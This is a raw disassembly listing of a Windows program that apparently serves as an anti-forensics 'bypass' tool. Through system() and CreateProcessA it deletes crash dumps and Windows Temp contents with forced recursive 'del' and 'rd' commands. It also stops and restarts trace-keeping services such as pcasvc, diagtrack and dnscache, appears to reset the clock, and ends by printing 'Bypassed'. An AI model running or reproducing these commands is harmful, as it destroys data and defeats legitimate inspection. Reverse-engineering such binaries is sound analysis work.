lea rax, [rsp + 0x420]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000791d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rsi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rsi, 0x989680
jne 0x14000793b
imul rax, rax, 0x64
jmp 0x140007956
cqo
idiv rsi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rsi
add rax, rcx
movabs rcx, 0x7fffffffb87973ff
cmp rax, rcx
jge 0x140007972
add rax, 0x47868c00
mov qword [rsp + 0x60], rax
jmp 0x140007977
mov qword [rsp + 0x60], rdi
lea rcx, [rsp + 0x60]
call fcn.14000a4f0
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], rbx
lea r15, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae r15, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1a8]
cmp r14, 0x10
jae 0x1400079de
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x250], xmm0
mov qword [rsp + 0x268], 0xf
jmp 0x140007a60
mov rsi, r14
or rsi, 0xf
cmp rsi, rdi
cmova rsi, rdi
mov rcx, rsi
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x140007a32
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008198
mov rcx, rax
call fcn.140052fa0
mov rcx, rax
test rax, rax
je 0x140007a2b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140007a41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140007a3e
call fcn.140052fa0
jmp 0x140007a41
mov rax, rbx
mov qword [rsp + 0x250], rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0x260], r14
lea r8, [0x1400568b4]
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x290]
call fcn.140008c10
nop
lea r8, [rsp + 0x250]
mov rdx, rax
lea rcx, [rsp + 0x3f8]
call fcn.140008f80
nop
lea rcx, [rsp + 0x290]
call fcn.140008720
lea rcx, [rsp + 0x3f8]
call fcn.1400086f0
mov rdx, rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x420]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140007b28
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x150], 0x4b0
lea rcx, [rsp + 0x150]
call fcn.1400093a0
call fcn.140004c40
call fcn.140004f40
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rsp + 0x3d8]
call fcn.140003cc0
nop
lea r8, [rsp + 0x3d8]
lea rdx, str.del__s__f__q_C:Users_
lea rcx, [rsp + 0x290]
call fcn.140009120
nop
lea r8, str.AppDataLocalCrashDumps.
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.140008d70
nop
lea rcx, [rsp + 0x290]
call fcn.140008720
lea rcx, [rsp + 0x3b8]
call fcn.1400086f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x220]
call fcn.1400081a0
lea rdx, str.pcasvc
lea rcx, [rsp + 0x70]
call fcn.140003cc0
nop
lea rdx, [0x140056908]
lea rcx, [rsp + 0x90]
call fcn.140003cc0
nop
lea rdx, str.WSearch
lea rcx, [rsp + 0xb0]
call fcn.140003cc0
nop
lea rdx, str.dnscache
lea rcx, [rsp + 0xd0]
call fcn.140003cc0
nop
lea rdx, str.diagtrack
lea rcx, [rsp + 0xf0]
call fcn.140003cc0
nop
lea rdx, str.CDPUserSvc_17a41d
lea rcx, [rsp + 0x110]
call fcn.140003cc0
nop
lea rdx, [0x14005694c]
lea rcx, [rsp + 0x130]
call fcn.140003cc0
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x158], rax
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm0
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x220]
call fcn.140008410
nop
lea r9, [fcn.140008720]
mov edx, 0x20
lea r8d, [rdx - 0x19]
lea rcx, [rsp + 0x70]
call fcn.140052fdc
lea rcx, [rsp + 0x290]
call fcn.140003e60
nop
lea rcx, [rsp + 0x398]
call fcn.140004420
nop
lea r8, [rsp + 0x290]
lea rdx, str.time
lea rcx, [rsp + 0x378]
call fcn.140009120
nop
lea rcx, [rsp + 0x378]
call fcn.140004ef0
mov rbx, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
cmp rbx, rdi
je 0x140007dba
mov qword [rsp + 0x150], 0x4b0
mov qword [rsp + 0x60], 0x4b0
mov r8, rbx
lea rdx, str.sc_stop
lea rcx, [rsp + 0x2d8]
call fcn.140009120
nop
mov r8, rbx
lea rdx, str.sc_start
lea rcx, [rsp + 0x1b8]
call fcn.140009120
nop
lea rcx, [rsp + 0x2d8]
call fcn.140004ef0
lea rcx, [rsp + 0x150]
call fcn.1400093a0
lea rcx, [rsp + 0x1b8]
call fcn.140004ef0
lea rcx, [rsp + 0x60]
call fcn.1400093a0
nop
lea rcx, [rsp + 0x1b8]
call fcn.140008720
nop
lea rcx, [rsp + 0x2d8]
call fcn.140008720
add rbx, 0x20
cmp rbx, rdi
jne 0x140007d30
lea rdx, [0x140005530]
lea rcx, [rsp + 0x240]
call fcn.140009440
nop
lea rcx, [rsp + 0x240]
call fcn.140002400
lea rdx, [0x140005710]
lea rcx, [rsp + 0x2c8]
call fcn.140009440
nop
lea rcx, [rsp + 0x2c8]
call fcn.140002400
call fcn.140004c40
call fcn.140004f40
lea rdx, str.del__s__f__q_c:windows_temp.
lea rcx, [rsp + 0x358]
call fcn.140003cc0
nop
lea rdx, str.rd__s__q_c:windows_temp
lea rcx, [rsp + 0x338]
call fcn.140003cc0
nop
lea rdx, str.md_c:windows_temp
lea rcx, [rsp + 0x318]
call fcn.140003cc0
nop
lea rcx, [rsp + 0x358]
call fcn.140004ef0
lea rcx, [rsp + 0x338]
call fcn.140004ef0
lea rcx, [rsp + 0x318]
call fcn.140004ef0
lea rcx, [rsp + 0x2b0]
call fcn.1400081a0
lea rdx, str.pcasvc
lea rcx, [rsp + 0x70]
call fcn.140003cc0
nop
lea rdx, [0x140056908]
lea rcx, [rsp + 0x90]
call fcn.140003cc0
nop
lea rdx, str.diagtrack
lea rcx, [rsp + 0xb0]
call fcn.140003cc0
nop
lea rdx, str.CDPUserSvc_17a41d
lea rcx, [rsp + 0xd0]
call fcn.140003cc0
nop
lea rdx, [0x14005694c]
lea rcx, [rsp + 0xf0]
call fcn.140003cc0
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x158], rax
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm0
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2b0]
call fcn.140008410
nop
lea r9, [fcn.140008720]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rsp + 0x70]
call fcn.140052fdc
mov rdi, qword [rsp + 0x2b0]
mov r14, qword [rsp + 0x2b8]
cmp rdi, r14
je 0x140007fde
nop dword [rax + rax]
lea rcx, [rsp + 0x1b8]
call fcn.1400058a0
nop
mov rbx, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1c0]
cmp rbx, rsi
je 0x140007fc8
mov rcx, rdi
call fcn.1400086f0
mov rdx, rax
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140007fa6
add rbx, 0x38
cmp rbx, rsi
jne 0x140007f83
jmp 0x140007fc8
mov qword [rsp + 0x150], 0x3e8
lea rcx, [rsp + 0x150]
call fcn.1400093a0
mov rcx, rdi
call fcn.140005ce0
nop
lea rcx, [rsp + 0x1b8]
call fcn.140008550
add rdi, 0x20
cmp rdi, r14
jne 0x140007f60
lea r8, [rsp + 0x398]
lea rdx, str.time
lea rcx, [rsp + 0x2f8]
call fcn.140009120
nop
lea rcx, [rsp + 0x2f8]
call fcn.140004ef0
lea rdx, str.Bypassed_
lea rcx, [0x1400700b0]
call fcn.140008700
nop
lea rcx, [rsp + 0x2f8]
call fcn.140008720
nop
lea rcx, [rsp + 0x2b0]
call fcn.1400083a0
nop
lea rcx, [rsp + 0x318]
call fcn.140008720
nop
lea rcx, [rsp + 0x338]
call fcn.140008720
nop
lea rcx, [rsp + 0x358]
call fcn.140008720
nop
cmp dword [rsp + 0x2d0], 0
je 0x140008073
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rsp + 0x248], 0
je 0x140008084
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rsp + 0x378]
call fcn.140008720
nop
lea rcx, [rsp + 0x398]
call fcn.140008720
nop
lea rcx, [rsp + 0x290]
call fcn.140008720
nop
lea rcx, [rsp + 0x220]
call fcn.1400083a0
nop
lea rcx, [rsp + 0x3b8]
call fcn.140008720
nop
lea rcx, [rsp + 0x3d8]
call fcn.140008720
nop
lea rcx, [rsp + 0x3f8]
call fcn.140008720
nop
lea rcx, [rsp + 0x250]
call fcn.140008720
nop
lea rcx, [rsp + 0x270]
call fcn.140008720
nop
lea rcx, [rsp + 0x178]
call fcn.140008720
nop
lea rcx, [rsp + 0x198]
call fcn.140008720
nop
lea rcx, [rsp + 0x1f8]
call fcn.140008720
nop
lea rcx, [rsp + 0x1d8]
call fcn.140008720
mov rcx, qword [rsp + 0x5a8]
xor rcx, rsp
call fcn.140052ce0
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140001210
nop
call fcn.140001170
nop
call fcn.140001170
nop
call fcn.140001210
int3
call fcn.140001170
nop
call fcn.140001170
int3